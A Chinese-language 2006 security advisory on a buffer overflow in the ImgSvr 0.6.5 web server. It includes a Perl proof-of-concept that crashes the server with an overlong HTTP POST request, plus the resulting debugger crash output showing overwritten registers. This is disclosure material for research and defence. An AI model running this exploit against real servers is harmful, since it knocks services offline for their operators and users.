发布日期：2006-07-03
更新日期：2006-07-04

受影响系统：

ImgSrv ImgSrv 0.6.5

描述：

---

BUGTRAQ  ID: 18784

ImgSvr是一款简单的全功能的Web Server，主要优化用于浏览数字图像。

ImgSvr处理用户请求时存在缓冲区溢出漏洞，远程攻击者可能通过发送超长的HTTP POST请求导致ImgSvr崩溃。

<*来源：n00b
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=115195859424639&w=2
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
##Proof of concept.
#################################################################################
#Credit's:to n00b for finding this bug.
#
#Afected :ImgSvr.exe
#
#Download softwear: http://freshmeat.net/projects/imgsvr/
#
#Crash the server with overly long http post request..
#
#Main site of affected product. http://freshmeat.net/projects/imgsvr/
#Sending an overly long post request will crash the server with the following.
#Acsess violation..
#Tested :win xp sp1..
#
#error:500 Server closed connection without sending any data back
#this is a error msg will receive on successful exploitation.
#################################################################################
##(e7c.168): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141 edi=00000000
# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
# *** WARNING: Unable to verify checksum for C:\Program Files\Imgsvr\imgsvr.exe
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program \
Files\Imgsvr\imgsvr.exe # imgsvr+0x2bf546:
# 006bf546 881c30           mov     [eax+esi],bl            ds:0023:82828283=??
###################################################################################
#
# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235
###################################################################################


use LWP::UserAgent;
  $ua = LWP::UserAgent->new;

my $req = HTTP::Request->new(POST => \
'http://127.0.0.1:1235/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAA  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

$req->content_type('application/x-www-form-urlencoded');
$req->content('match=www&errors=0');

my $res = $ua->request($req);
print $res->as_string;

建议：

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厂商补丁：

ImgSrv
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://adaimgsvr.sourceforge.net/

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